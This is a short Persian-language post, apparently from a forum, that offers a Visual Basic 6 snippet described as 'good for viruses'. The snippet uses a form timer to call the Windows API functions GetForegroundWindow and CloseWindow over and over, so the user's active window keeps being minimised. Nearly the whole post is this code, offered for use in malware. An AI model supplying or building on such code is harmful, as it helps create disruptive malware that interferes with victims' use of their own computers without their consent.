در این پست کدی می گذاری که برای ویروس ها خوب است فقط یک تایمر روی فرم قرار دهید. 

Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long

Private Sub Timer1_Timer()
CloseWindow GetForegroundWindow
End Sub